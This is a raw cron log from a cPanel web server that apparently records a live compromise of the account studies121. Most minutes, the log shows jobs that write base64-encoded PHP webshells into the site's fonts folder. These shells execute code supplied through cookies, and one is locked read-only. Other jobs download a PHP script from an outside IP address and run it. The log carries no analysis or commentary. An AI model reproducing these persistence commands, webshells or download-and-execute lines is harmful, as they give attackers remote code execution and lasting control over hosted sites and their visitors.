Sep 10 20:05:01 ip-184-168-122-23 CROND[2308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:06:01 ip-184-168-122-23 CROND[2440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:06:01 ip-184-168-122-23 CROND[2442]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:06:01 ip-184-168-122-23 CROND[2445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:06:01 ip-184-168-122-23 CROND[2443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:06:01 ip-184-168-122-23 CROND[2444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:07:02 ip-184-168-122-23 CROND[2544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:07:02 ip-184-168-122-23 CROND[2543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:07:02 ip-184-168-122-23 CROND[2545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:07:02 ip-184-168-122-23 CROND[2546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:08:01 ip-184-168-122-23 CROND[2641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:08:01 ip-184-168-122-23 CROND[2643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:08:01 ip-184-168-122-23 CROND[2645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:08:01 ip-184-168-122-23 CROND[2646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:08:01 ip-184-168-122-23 CROND[2644]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:09:01 ip-184-168-122-23 CROND[2732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:09:01 ip-184-168-122-23 CROND[2734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:09:01 ip-184-168-122-23 CROND[2735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:09:01 ip-184-168-122-23 CROND[2737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:09:01 ip-184-168-122-23 CROND[2736]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 20:10:01 ip-184-168-122-23 CROND[2838]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 20:10:01 ip-184-168-122-23 CROND[2841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:10:01 ip-184-168-122-23 CROND[2844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:10:01 ip-184-168-122-23 CROND[2846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:10:01 ip-184-168-122-23 CROND[2843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:10:01 ip-184-168-122-23 CROND[2848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:10:01 ip-184-168-122-23 CROND[2845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:10:01 ip-184-168-122-23 CROND[2851]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:11:01 ip-184-168-122-23 CROND[2948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:11:01 ip-184-168-122-23 CROND[2947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:11:01 ip-184-168-122-23 CROND[2950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:11:01 ip-184-168-122-23 CROND[2949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:12:01 ip-184-168-122-23 CROND[3126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:12:01 ip-184-168-122-23 CROND[3129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:12:01 ip-184-168-122-23 CROND[3128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:12:01 ip-184-168-122-23 CROND[3131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:12:01 ip-184-168-122-23 CROND[3130]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:13:01 ip-184-168-122-23 CROND[3239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:13:01 ip-184-168-122-23 CROND[3241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:13:01 ip-184-168-122-23 CROND[3242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:13:01 ip-184-168-122-23 CROND[3243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:14:01 ip-184-168-122-23 CROND[3328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:14:01 ip-184-168-122-23 CROND[3330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:14:01 ip-184-168-122-23 CROND[3333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:14:01 ip-184-168-122-23 CROND[3331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:14:01 ip-184-168-122-23 CROND[3332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:15:01 ip-184-168-122-23 CROND[3447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:15:01 ip-184-168-122-23 CROND[3449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:15:01 ip-184-168-122-23 CROND[3450]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:15:01 ip-184-168-122-23 CROND[3452]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 20:15:01 ip-184-168-122-23 CROND[3451]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:15:01 ip-184-168-122-23 CROND[3454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:15:01 ip-184-168-122-23 CROND[3453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:16:01 ip-184-168-122-23 CROND[3550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:16:02 ip-184-168-122-23 CROND[3553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:16:02 ip-184-168-122-23 CROND[3554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:16:02 ip-184-168-122-23 CROND[3552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:16:02 ip-184-168-122-23 CROND[3556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:16:02 ip-184-168-122-23 CROND[3555]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 20:17:01 ip-184-168-122-23 CROND[3726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:17:01 ip-184-168-122-23 CROND[3727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:17:01 ip-184-168-122-23 CROND[3729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:17:01 ip-184-168-122-23 CROND[3730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
